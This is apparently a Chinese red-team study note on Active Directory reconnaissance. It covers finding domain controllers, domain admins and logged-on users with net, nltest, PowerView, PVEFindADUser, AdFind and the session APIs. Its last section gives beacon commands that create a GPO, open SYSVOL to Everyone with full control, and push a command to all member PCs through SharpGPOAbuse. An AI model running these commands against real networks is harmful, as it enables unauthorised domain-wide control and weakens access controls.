面试提到过

域管

  1. net group “Domain Admins” /domain

image.png

  1. 通过tasklist /v 列出本地进程的所有者

image.png


域控

  1. net group “Domain controllers” /Domain

image.png

  1. net time /domain

image.png

  1. nslookup

image.png

image.png

  • 通过查询DNS SRV的记录来定位域控的两条命令
    1. nslookup -type=SRV _ldap._tcp.dc._msdcs.loca.test.com
    2. nltest /dsgetdc:loca.test.com

这里我们得知10.0.0.4为域控ip,我们可以进行扫描端口,来进行确认

image.png
因为域控一般为DNS服务器,所以会开启53端口
88端口是kerberos协议的端口
389端口是ldap协议的端口


获取域信任

nltest /domain_trusts
image.png

获取域密码设置规则

net accounts /domain
image.png

查询所有域成员计算机列表

net group “domain computers” /domain

image.png

查询当前登录域以及登录用户信息

net config workstation
image.png
image.png

效果反馈-判断自己是否在域中

net time /domain 效果

  • 如果当前主机处于工作组中未加入域,则显示找不到域控制器

image.png

  • 加入了域,且当前用户为本地用户包括本地管理员,则显示拒绝访问
    image.png
  • 加入了域,且当前用户域用户,则显示域控的时间

image.png

ipconfig /all

当前主机如果是工作组中,则主DNS后缀为空。如果加入了域则主DNS为域名

  1. 工作组中

image.png

只要没有加入域,主机的网卡不管有没有自定义dns服务器ip。 执行 ipconfg /all 后主DNS后缀都为空

  1. 域环境中

只要加入域,不管当前用户为域用户本还是本地用户,主DNS后缀,都为域名
image.png

systeminfo

工作组环境systeminfo查询的显示为WORKGROUP,域环境查询的域是域名
image.png
域中,不管此时是什么用户登陆。查询的域是域名
image.png

域管理员不在本地机器怎么办

定位域用户正在登录的主机有两种常规方法,一是日志,二是会话

psloggedon

使用psloggedon.exe,可以查看本地登录的用户和通过本地计算机或远程计算机的资源登录的用户。 如果指定的是用户名而不是计算机名,psloggedon.exe会搜索网上邻居中的计算机,并显示该用户当 前是否已经登录。其原理是通过检查注册表HKEY_ USERS项的key值来查询谁登录过(需要调用 NetSessionEnum API),但某些功能需要管理员权限才能使用。

  1. psloggedon [-] [-l] [-x] [\\computername|username]
  2. -:显示支持的选项和用于输出值的单位。
  3. -l:仅显示本地登录,不显示本地和网络资源登录。
  4. -x:不显示登录时间。
  5. \\computername:指定要列出登录信息的计算机的名称。
  6. Username:指定用户名,在网络中搜索该用户登录的计算机。
  1. psloggedon.exe whoamianony\administrator

image.png

PVEFindADUser

可用于查找活动目录用户登陆的位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括查找本地用户、通过 RDP 远程桌面登陆的用户、通过运行服务和计划任务的用户。运行该工具需要计算机配置 .NET Framework 2.0 环境 PVEFindADUser.exe <参数> 一般直接运行以下命令,即可显示域中所有计算机上当前登陆的所有用户 PVEFindADUser.exe -current
也可以通过-target指定查询的主机 PVEFindADUser.exe -current -target DC.whoamianony.org

PowerView

脚本可以用来获取当前域管理员在线登录的主机,其依赖 PowerShell 和 WMI,是一个收集域信息很好用的脚本

Invoke-UserHunter:搜索域管理员当前在线登录的主机,并验证当前用户是否具有对这些主机的本地管理员访问权限。它可以使用 Get-NetSessions 和Get-NetLoggedon 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,并且无需管理员权限

  1. Import-Module .\powerview.ps1
  2. Invoke-UserHunter

win API

NetSessionEnum

一个 Win32 API,用来提供有关在服务器上建立的会话的信息

  1. NET_API_STATUS NET_API_FUNCTION NetSessionEnum(
  2. LMSTR servername,
  3. LMSTR UncClientName,
  4. LMSTR username,
  5. DWORD level,
  6. LPBYTE *bufptr,
  7. DWORD prefmaxlen,
  8. LPDWORD entriesread,
  9. LPDWORD totalentries,
  10. LPDWORD resume_handle
  11. );

这个 API 的第一个参数是servername,我们可以通过servername指定一个远程的主机,然后这个 API 会去调用远程主机的 RPC,然后返回其他用户在访问这台远程主机的网络资源(例如文件共享)时所创建的网络会话,从而可以看到这个用户来自何处。
但是该 API 并不能查询到是谁登陆了这台远程主机,但是可以看到访问这台远程主机的网络资源时所创建的网络会话。从这个网络会话中可以看到哪个域用户来自哪个 IP。并且该 API 不需要在远程主机上有管理员权限

NetWkstaUserEnum

这个 API 来列出当前登录到这台远程主机机器的所有用户的信息

  1. NET_API_STATUS NET_API_FUNCTION NetWkstaUserEnum(
  2. LMSTR servername,
  3. DWORD level,
  4. LPBYTE *bufptr,
  5. DWORD prefmaxlen,
  6. LPDWORD entriesread,
  7. LPDWORD totalentries,
  8. LPDWORD resumehandle
  9. );

这个 API 的第一个参数也是servername可以指定一个远程主机,然后会去调用这台远程主机的 RPC,然后返回当前登录到这台远程主机的所有用户的信息。值得注意的是,调用该函数的用户需要具备机器A的本地管理员权限。但是该 API 需要在远程主机上有管理员权限

目前有很多工具可以用来枚举域内某台主机上正在登陆的域用户,其本质还是调用了这两个 API

其他

https://www.secpulse.com/archives/32859.html

域用户

域环境中的用户。和本地用户的帐户不同,域用户帐户保存在活动目录中。由于所有的用户帐户都集中保存在活动目录中,所以使得集中管理变成可能。 我们知道,在工作组环境中,所有计算机是独立的,要让用户能够登录到计算机并使用计算机的资源,必须为每个用户建立本地用户帐户。而在域环境中,一个域用户可以在域中的任何一台计算机上登录,域用户可以不再使用固定的计算机。当计算机出现故障时,域用户可以登录到另一台计算机上继续工作,这样也使帐号的管理变得简单。 域用户账户是在域内全局组 Domain Users 组中,本地用户账户在本地 User 组中。当计算机加入域时,会把 Domain Users 组添加到本地的 User 组中。因此域用户可以在域中的任何一台计算机上登录。

当我们拥有一个域用户的权限时,可以枚举域内的所有用户,此时主要有两个方法。

  1. 通过 SAMR 协议查询

    1. net user /domain

    image.png

  2. 通过 Active Directory 查询

    1. Adfind.exe -b dc=whoamianony,dc=org -f "(&(objectCategory=person)(objectClass=user))" -dn


    在域环境中,域用户默认是可以登录域内任何一台机器的,这是因为域管理员在新增域用户时该域用户默认就会存在域用户组 Domain Users 中,加入域的域成员机器会默认将全局组 Domain Users 加到其本地的 User 组中,而域成员机器本地组策略中的 “允许在本地登陆” 属性中包含了本地的 Users 组。

但是这样可能会存在一些安全隐患,所以域管理员为了安全起见,通常会限制域用户只能登陆指定的计算机,或限制某台计算机只允许指定的用户登录。具体操作有以下两种。
对域用户做限制,设置域用户只能登陆指定的计算机

image.png

设置该域用户只允许登录到 Client-PC 这台机器。
对机器做限制,限制某台计算机只允许指定的用户登录
这个可以通过下发组策略实现
image.png
这台计算机运行 Administrators 组和 Users 组的用户登录,如果此时需要设置不再允许 Users 组的用户登录的话,直接将 Users 组从里面删掉即可
实战中定位域控制器和域管和域用户 - 图25
也可以直接在 “允许本地登陆” 中添加想要登陆的组和域成员名。

查找指定用户能够登录的主机

在限制了域用户只能登录到某台主机之后,在 Active Directory 里面,会为该域用户设置一个userWorkStations属性。这个属性保存了这个域用户能够登录到的主机。而这个字段对于域内任何用户都是可读的,我们可以通过读域用户的userWorkStations属性来查看域用户能够登录的主机

Adfind.exe -b dc=whoamianony,dc=org -sc u:whoami userWorkstations PowerView: Import-Module .\powerview.ps1
Get-NetUser -Domain whoami.whoamianony.org

拿下域管的时候定位成员pc机

  1. gpo(组策略管理)下发 query user logsysvol

10b4f4de7c98a13774aa1dc65eadba1.jpg

beacon端

  1. 创建组策略:

    1. powershell Import-Module GroupPolicy;new-gpo -name QueryDomainUser01
  2. 连接到域:

    1. powershell Import-Module GroupPolicy;new-gplink -name QueryDomainUser01 -Target "dc=vulntarget,dc=com"
  3. 修改一下sysvol的权限

    为了让 sysvol普通域用户也可以写入

  1. shell icacls c:\windows\sysvol\ /grant Everyone:(OI)(CI)(F) /T
  1. 下发

    1. execute-assembly /root/cs/sharp/SharpGPOAbuse.exe --AddComputerTask --TaskName "QueryDomainUser001" --Authorvulntarget\\administrator --Command "cmd.exe" --Arguments "cmd /c query user >\\win2019.vulntarget.com\sysvol\%COMPUTERNAME%.txt" --GPOName "QueryDomainUser01"
  2. 等待90分钟可以直接强制执行了

    1. gpupdate /force
  3. 之后去查看 win2019.vulntarget.com\sysvol\ 目录下的文件即可

小工具

https://github.com/SkewwG/domainTools